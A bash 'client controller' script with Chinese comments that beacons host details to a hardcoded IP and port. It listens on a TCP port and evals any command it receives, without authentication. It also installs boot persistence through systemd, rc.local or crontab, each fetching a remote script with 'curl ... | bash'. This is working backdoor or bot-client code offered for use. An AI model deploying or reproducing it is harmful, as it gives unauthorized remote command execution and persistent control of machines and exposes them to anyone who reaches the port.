#!/bin/bash

# 完整客户端控制器 v3.0
# 支持自动连接、命令执行、开机自启

SERVER_IP="159.138.58.239"
SERVER_PORT=25555
CLIENT_PORT=5556
HEARTBEAT_INTERVAL=30
CONFIG_FILE="/tmp/controller_client.conf"
PID_FILE="/tmp/controller_client.pid"

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

# 初始化客户端
init_client() {
    # 生成序列号
    if [[ -r /etc/machine-id ]]; then
        SERIAL=$(cat /etc/machine-id | md5sum | cut -c1-8)
    else
        SERIAL=$(date +%s | md5sum | cut -c1-8)
    fi
    
    HOSTNAME=$(hostname 2>/dev/null || echo "unknown")
    
    # 获取系统信息
    if [[ -r /etc/os-release ]]; then
        source /etc/os-release
        SYSTEM_INFO="${ID:-unknown} ${VERSION_ID:-unknown}"
    else
        SYSTEM_INFO="unknown"
    fi
    
    echo "=== 客户端控制器 v3.0 ==="
    echo "序列号: $SERIAL"
    echo "服务器: $SERVER_IP:$SERVER_PORT"
    echo "系统: $SYSTEM_INFO"
}

# 日志函数
log() {
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    echo -e "[$timestamp] $1" >&2
}

# Bash TCP发送函数
bash_tcp_send() {
    local data="$1"
    local ip="$2"
    local port="$3"
    
    {
        exec 3<>/dev/tcp/$ip/$port 2>/dev/null
        [[ $? -ne 0 ]] && return 1
        
        echo "$data" >&3 2>/dev/null
        sleep 0.5
        exec 3>&-
        exec 3<&-
        return 0
    } 2>/dev/null
}

# Bash TCP监听函数
bash_tcp_listen() {
    local port="$1"
    
    {
        timeout 5 bash -c "
            exec 3<>/dev/tcp/0.0.0.0/$port 2>/dev/null
            [[ \$? -ne 0 ]] && exit 1
            read -r data <&3
            echo \"\$data\"
            exec 3>&-
            exit 0
        " 2>/dev/null
    }
}

# 发送心跳
send_heartbeat() {
    local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO"
    
    if bash_tcp_send "$heartbeat_data" "$SERVER_IP" "$SERVER_PORT"; then
        log "✅ 心跳成功"
        return 0
    else
        log "❌ 心跳失败"
        return 1
    fi
}

# 执行命令
execute_command() {
    local command="$1"
    log "执行命令: $command"
    
    # 在子进程中执行
    (
        result=$(eval "$command" 2>&1)
        log "命令结果: $result"
        echo "$result"
    ) &
}

# 执行脚本
execute_script() {
    local script_name="$1"
    
    case "$script_name" in
        "system_info.sh")
            echo "=== 系统信息 ==="
            echo "主机名: $HOSTNAME"
            echo "序列号: $SERIAL" 
            echo "系统: $SYSTEM_INFO"
            echo "内核: $(uname -r)"
            echo "架构: $(uname -m)"
            echo "上线时间: $(uptime -p 2>/dev/null || uptime)"
            echo "内存:"
            free -h 2>/dev/null || cat /proc/meminfo | head -3
            ;;
        "restart_services.sh")
            echo "重启系统服务..."
            systemctl restart networking 2>/dev/null || systemctl restart network 2>/dev/null
            systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
            echo "服务重启完成"
            ;;
        "update_system.sh")
            echo "开始系统更新..."
            if command -v apt-get &>/dev/null; then
                apt-get update && apt-get upgrade -y
            elif command -v yum &>/dev/null; then
                yum update -y
            elif command -v dnf &>/dev/null; then
                dnf update -y
            fi
            echo "系统更新完成"
            ;;
        "network_info.sh")
            echo "=== 网络信息 ==="
            ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息"
            ;;
        *)
            echo "未知脚本: $script_name"
            echo "可用脚本: system_info.sh, restart_services.sh, update_system.sh, network_info.sh"
            ;;
    esac
}

# 处理命令
process_command() {
    local command_data="$1"
    
    if [[ "$command_data" == COMMAND:* ]]; then
        local cmd="${command_data#COMMAND:}"
        execute_command "$cmd"
    elif [[ "$command_data" == SCRIPT:* ]]; then
        local script_name="${command_data#SCRIPT:}"
        execute_script "$script_name"
    else
        log "未知命令: $command_data"
    fi
}

# 命令监听器
start_listener() {
    log "启动命令监听器端口: $CLIENT_PORT"
    
    while true; do
        local command_data=$(bash_tcp_listen "$CLIENT_PORT")
        
        if [[ -n "$command_data" ]]; then
            log "收到命令: $command_data"
            process_command "$command_data"
        fi
        
        sleep 1
    done
}

# 主守护进程
start_daemon() {
    log "启动客户端守护进程"
    
    local heartbeat_count=0
    local success_count=0
    
    # 启动命令监听器
    start_listener &
    local listener_pid=$!
    
    # 主心跳循环
    while true; do
        heartbeat_count=$((heartbeat_count + 1))
        
        if send_heartbeat; then
            success_count=$((success_count + 1))
        fi
        
        # 每10次心跳显示状态
        if [[ $((heartbeat_count % 10)) -eq 0 ]]; then
            local rate=$((success_count * 100 / heartbeat_count))
            log "运行状态: ${heartbeat_count}次心跳, ${success_count}次成功 (${rate}%)"
        fi
        
        sleep "$HEARTBEAT_INTERVAL"
    done
    
    # 清理
    kill $listener_pid 2>/dev/null
}

# 设置开机自启
setup_autostart() {
    log "设置开机自启..."
    
    # 方法1: systemd
    if command -v systemctl &>/dev/null && [[ -w /etc/systemd/system ]]; then
        local service_file="/etc/systemd/system/controller-client.service"
        cat > "$service_file" << EOF
[Unit]
Description=Controller Client
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash"
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF
        systemctl daemon-reload
        systemctl enable controller-client
        log "✅ systemd自启设置完成"
        return 0
    fi
    
    # 方法2: rc.local
    if [[ -w /etc/rc.local ]]; then
        grep -q "controller-client" /etc/rc.local || {
            echo "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash &" >> /etc/rc.local
        }
        log "✅ rc.local自启设置完成"
        return 0
    fi
    
    # 方法3: crontab
    if command -v crontab &>/dev/null; then
        (crontab -l 2>/dev/null | grep -v "controller-client"; \
         echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash") | crontab -
        log "✅ crontab自启设置完成"
        return 0
    fi
    
    log "⚠️ 无法设置开机自启"
    return 1
}

# 测试连接
test_connection() {
    log "测试服务器连接..."
    
    if bash_tcp_send "TEST|$SERIAL" "$SERVER_IP" "$SERVER_PORT"; then
        log "✅ 服务器连接测试成功"
        return 0
    else
        log "❌ 服务器连接测试失败"
        return 1
    fi
}

# 主函数
main() {
    init_client
    
    # 设置开机自启
    setup_autostart
    
    # 测试连接
    if test_connection; then
        log "🎉 连接成功! 开始守护进程..."
        start_daemon
    else
        log "💥 连接失败，退出"
        exit 1
    fi
}

# 信号处理
trap 'log "客户端停止"; exit 0' INT TERM

# 启动
main